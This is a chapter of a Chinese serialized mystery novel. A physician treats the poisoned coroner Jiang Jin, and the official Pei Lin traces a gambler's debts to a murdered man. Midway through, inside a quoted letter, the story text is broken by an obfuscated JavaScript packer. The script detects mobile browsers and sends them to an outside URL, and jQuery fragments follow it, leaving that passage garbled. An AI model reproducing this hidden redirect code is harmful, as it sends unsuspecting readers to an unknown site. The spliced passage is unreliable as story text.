在姜烬沉入黑暗之后，沉寂的迷宫深处，一个细小的身躯开始焦躁扭动，仿若即将苏醒的远古神祇。


    “取针。”


    荀子真面色端肃，放下搭在姜烬的腕间的手指。


    面色苍白的疏影努力稳住微颤的手，将展开的装满各种规格银针的布包呈给荀子真。


    百汇、檀中、关元……


    姜烬身上多处要穴被闪着刺眼白芒的银针牢牢锁住。


    十息过去，荀子真的眉头越皱越紧，沉声道：“不对劲。”


    众人都被满屋的酒味和药味熏得难受，骤然有了动静，心头猛地一跳。


    裴凛急声问：“什么情况？”


    荀子真伸手将各处银针加深，几近刺骨，却见姜烬还是一脸苍白，没半点反应，她的血管仍透着青灰。


    “她的十二条脉络和奇经八脉都出现了气凝，我用银针点穴刺激关枢要穴，但没有一点反应。”


    他眸中深色加重：“如果气血再不流通起来，姜烬恐怕是……”


    疏影闻言脸色一片灰白，双手更是僵在半空，仿若冰封。


    荀子真接着取出一根几乎有半个小指粗的银针，轻而易举刺破姜烬的指尖，汩汩黑血涌流而出，被荀子真精准接入琉璃瓶中。


    荀子真看着眼前已迅速变黑的银针，心狠狠一沉：“姜烬早已身中数毒，全是沉疴宿疾。”


    “什么？”


    “怎么会这样？！”


    极大的不可置信下，人们的第一反应总是显得幼稚，因为陡然面对未曾预料的情况，往往是不知所措的。


    裴凛则皱眉回想，最初与姜烬相见，她几乎是被打个半死的状态，第二天再见却也活蹦乱跳，怎么也不像是个重病在身的人。


    不过她的食量远大于平常人，验尸过后也极易疲惫，似有头痛、耳鸣之扰。


    荀子真：“在炼毒之前，姜烬已经服下了由穿心莲、紫草、红血藤配伍的预防药，更别说还服用了太医院特制的清毒丸。在这种情况下，就算是吸入了毒气，也绝不会是现在这样。”


    “从她的经脉紊乱和血液状态来看，恐怕是旧疾复发，而不是简单的中毒。”


    荀子真虽面上依然保持冷静，但他此时内心的翻涌只有自己最清楚，姜烬的情况极其复杂，也极其特殊。


    他道：“我猜测，她这次吸入的水蠹红土和罂稞打破了体内原有的平衡，正在与体内盘结成网的毒素交战。”


    石文越和唐誉对荀子真的话感到不寒而栗：“这……也就是说，小姜的体内像是养蛊一般养着各种剧毒。”


    “她究竟是经历了什么……”石文越震惊地看着姜烬，他对此实在是难以想象。


    裴凛眼中闪着冷冽的光，看向躺在床上毫无生气的姜烬，他对荀子真沉声道：“既然她能在身中数毒的情况下活到现在，这次也能挺过去。子真，无论如何，给我想办法。”


    荀子真缓了一口气，道：“只有查出血液中的毒素成分，才能对症下药，而这需要时间，我也不知道她能不能坚持那么久……”


    他的话让室内气压降到最低点，石文越不禁一拳砸向桌面，发出沉闷一声，他道：“若是姜女郎因此丧命，我实在是，实在是难受。”


    唐誉听着他的话，脸上的皱纹仿佛更深了，心里仿佛堵着千钧巨石，说不出话来，侧手边的热茶早已凉透，一口也喝不下去。


    裴凛闭目一瞬，复又睁开，眼中唯有坚定，对荀子真道：“不论如何，抓紧时间验血配药。”


    荀子真沉默一瞬，还是对裴凛道：“姜烬的情况很特殊，她体内的毒到底是什么，又如何而来……”


    但没等他讲话说完，裴凛已经抬手打断：“验血配药。”


    荀子真看着他如深渊般的眼睛，片刻后，点头道：“我明白了，给她再服三颗清毒丸吧。”


    疏影突然出声：“荀大人，我来帮你。”


    众人一愣，之前谁也没见过疏影主动发话。


    荀子真看着眼中似乎藏着火焰的疏影，仿佛看见了裴凛刚才的样子：“……走吧。”


    疏影侧头看了一眼姜烬，默道：“你不能就这么突然地来，又突然地离开。我的问题你还没有回答。”


    两人走后，房间安静下来。


    裴凛突然开口问唐誉：“唐叔，你认为姜烬如何？”


    唐誉没想到裴凛会在此时问这个问题，但他还是深思着回道：“奇才也。”


    “先不说小姜用得一手好刀，她对人体的了解若没有十年以上的研究，断不可能达到那种程度。老夫与她一同验尸，能感受到她在剖尸时已经完全达到人、刀、尸完全合一的程度。”


    唐誉眸色加深，夹杂着敬佩与不可思议：“另外，大人也看见了，小姜身上最值得惊叹的远远不是这些技艺、知识上的强大，而是她有为了追求真相，不怕死的胆量。”


    “这一点就让她能比寻常仵作走的更远。”


    裴凛和石文越闻言都是一凛。


    石文越不由叹息：“确实，姜女郎真是难得的人才，只是这也是她如今躺在这里生死不知的原因。”


    “可怜她还是个孤苦无依的人。”


    裴凛摩挲着玉牌，不知想着什么。


    突然，门外传来急促的脚步声，明哲洪亮的声音传来：“禀大人，有事要禀！”


    裴凛最后看了昏迷中也皱紧眉头的姜烬一眼，带着石文越向外走去，并对还坐着的唐誉道：“唐叔，去吧。”


    唐誉随裴凛到了房外便自行离开。


    没有人看见，在阳光与姜烬纤长的睫毛共舞时，她眼下的阴影正如蝴蝶翅膀般微微颤动。


    “先去议事厅。”


    裴凛面沉如水，掠过明哲。


    明哲敏锐察觉气氛的不寻常，不由收敛了神色。


    朝议事厅走去时，明哲低声询问身旁的石文越：“发生什么了？”


    石文越目视前方，嘴角紧绷：“姜女郎出事了。”


    明哲下意识握紧手中的剑柄，抑制住声线：“怎么回事？不是在制毒吗？”


    石文越看着自家大人肃厉的背影，不由又在心里叹气：“姜女郎为了实验成功，不惜吸入毒气，导致暗疾发作，现在还昏迷不醒。”


    他顿了顿，再次压低声音：“生死难料……”


    明哲呼吸陡然一滞，抬头看向前方的裴凛，原来如此，难怪少卿大人将心情不佳摆在了脸上。


    石文越几乎是用腹语在说话：“所以，你小心说话。”


    太阳西移，房间里的光线不如上午明亮，总是透着股凉。


    当日，裴凛自翻看了荀子真带回的卷宗后，便决定将突破点之一放在薛老跛身上。


    明哲奉命搜查，带回了拓印副本，站在一旁道：“大人，这就是我们在薛老跛房间找到的。”


    明哲：“我们将他屋里搜了个遍，也没发现什么值钱、有价值的物件，反而是找出了一堆的借条。”


    一堆墨迹不清的借据，只能勉强认出右下角的印章，腾宝阁。


    “原来这个薛老跛在赌坊欠了巨款，早已负债累累。”


    裴凛眉峰一跳，杜府之火的两年后，薛老跛竟又在赌坊欠下巨债。


    裴凛将文书放下，他对石文越道：“文越，你来看看，这借据上的印章。”


    石文越依言上前查看，半晌后，他不确定道：“大人，有点像是我们从孙二郎房中搜出的那枚印章？”


    裴凛：“立刻取来，核对。”


    不出多时，透过光，鲜红与黑色印章相互重叠，如影子回归人身，不分彼此。


    石文越：“真的是孙二郎的章？！”


    裴凛眼中放出冷光：“不错，这遍布夙安的赌坊腾宝阁便是孙二郎的多年‘在寺养病’的手笔。”


    “这被众人忽视的孙府二郎其实是一只在暗夜行走的贪狼，自从杜府被灭门，空出来的地盘全被他吃干抹净。”


    石文越二人眼中均划过愕然，原来还有这种密辛。


    裴凛的眸中冷然一片：“当爹的在户部掌舵护航，儿子的赌场生意自然风生水起。”


    石文越不禁问：“可这又与我们的案子有什么关系？”


    窗外吹来的一阵凉风，卷动纸张的页脚。


    裴凛将从薛老跛处搜来的密函递给石文越和明哲：“你们自己看看。”


    二人仔细认读着纸上文字。


    ……望宽赦……进了新的貌美娘子，请郎君务必来楼……


    复：十日，利滚二分


    ……十月初*，春玉间，好物。


    ……


    明哲皱着眉头看完最后一张：四月初二，不再宽限。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282094|181572||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这是什么意思？薛老跛在和孙二郎做交易？”


    石文越：“中郎将，这还不清楚吗？薛老跛是在用楼里的姑娘抵债。”


    明哲耳尖瞬间变红，他捏紧了手中的纸，怒道：“这二人竟如此卑劣！”


    他再看回纸上的内容，那些不甚清晰的字里行间都透着污秽肮脏。


    “但就算如此，薛老跛的债也还不清，这四月初二就是孙二郎给他的最后还款期限。”


    石文越点头道：“只是还没到四月初二，孙二郎就已经死了。”


    “难道是薛老跛为了不还钱冒险杀人？”


    但他复而摇了摇头：“但他没有杀春瑛的动机。”


    明哲也道：“他没有这个时间，因为从玉娘子前往鸿恩寺起，薛老跛至今都还在巩府，参加巩宏宝行冠宴。”


    裴凛却突然问：“你们知道四月初二是什么日子吗？”


    明哲脸上茫然。


    石文越想了想后，道：“是玉娘子的出楼宴！”


    裴凛点头：“不错。按照玉娘子的供词，那日她本不会去鸿恩寺，但突然接到薛老跛的命令，要她在出楼前先去寺庙礼佛静养。”


    石文越：“难道孙二郎是要薛老跛用玉娘子来还债？”


    裴凛：“有可能。”


    “薛老跛为了还债，同意了孙二郎的要求，让玉娘子前往鸿恩寺，而春瑛也早已知情，听从了这二人的指令，企图给玉娘子下迷、情香，以人抵债。”


    石文越：“但孙二郎和春瑛却先遭杀害，那玉娘子和薛老跛的嫌疑最大。”


    石文越：“若薛老跛没有时间动手，那就是玉娘子了，既有复仇的动机，又身处鸿恩寺。”


    明哲：“大人，我申请立刻逮捕玉娘子！”


    裴凛摩挲着手中扳指，道：“还不到时间，我们必须等，等到明晚。”


    石文越：“大人难道要等玉娘子出楼吗？”


    裴凛抬眼扫向这年轻的中郎将：“你再看看四月初二之后的话。”


    石文越凑到明哲身边一起看，见到最后通牒时间之后，薛老跛的字‘漱玉斋已妥，欠款已妥’。


    石文越：“这薛老跛竟然真的能将柳楼头牌玉娘子搞定？他舍得将这个金疙瘩献给孙二郎抵债？”


    漱玉斋很显然是指代玉娘子。


    明哲迟疑道：“他怎么突然有钱来还款？”


    裴凛听了二人的话，道：“这都不是重点。”


    “重点是，薛老跛的话里透露出他不仅要还钱还要把玉娘子献给孙二郎。”


    明哲二人再将纸上的字读了几遍，终于反应过来。


    石文越一拍佩剑，道：“是啊，薛老跛这样的赌徒怎么可能如此好心，既还钱又献美人，我看他是既不愿意还钱，也不肯丢了最能为他挣钱的玉娘子才对。”


    “这说法太怪了。”


    裴凛道：“任何脱离人日常行为的怪异，都具有目的。”


    “只能说，薛老跛并不是真心想用人抵债，尤其是不想用玉娘子来抵。”


    裴凛回想起，审讯中玉娘子面对春瑛死亡时真切的惊慌与不可置信，又想到寺中小沙弥提到玉娘子凌晨急匆匆地带人突然住进香房。


    他将玉扳指啪地一声放在桌上，目光灼灼：“所以，明日四月初二，柳楼引蛇出洞。”


    “今晚密探鸿恩寺。”


    石文越和明哲齐声道：“大人英明。”


    裴凛：“还有柳楼里上上下下的动向就交给金吾卫。”


    明哲抱拳：“是。”


    此时，一只灰色信鸽扑闪着翅膀停在窗棂边，咕咕咕地叫着。


    石文越上前取下筒中的密信，递给裴凛：“大人，是屠岳。”


    裴凛展信阅后，对石文越厉声道：“带队，速去回春堂。”


    “是！”


    明哲在石文越离开后，不禁问：“大人，可是发现了那胡人的行踪？”


    裴凛眼中闪过冷厉：“不错，就是他。”


    他的眼睛落在桌面一个束口袋上，那上面的花纹他毫不陌生，联珠团窠纹，胡商惯用的传统纹样。


    看来那胡人果然与鸿恩寺案逃不开干系，他的鼻尖仿佛已经嗅到胡人鲜血的腥气，不由回想那个被血染红的夜晚。


    若他背后真有金焰道支撑，夙安恐怕将要风雨又起……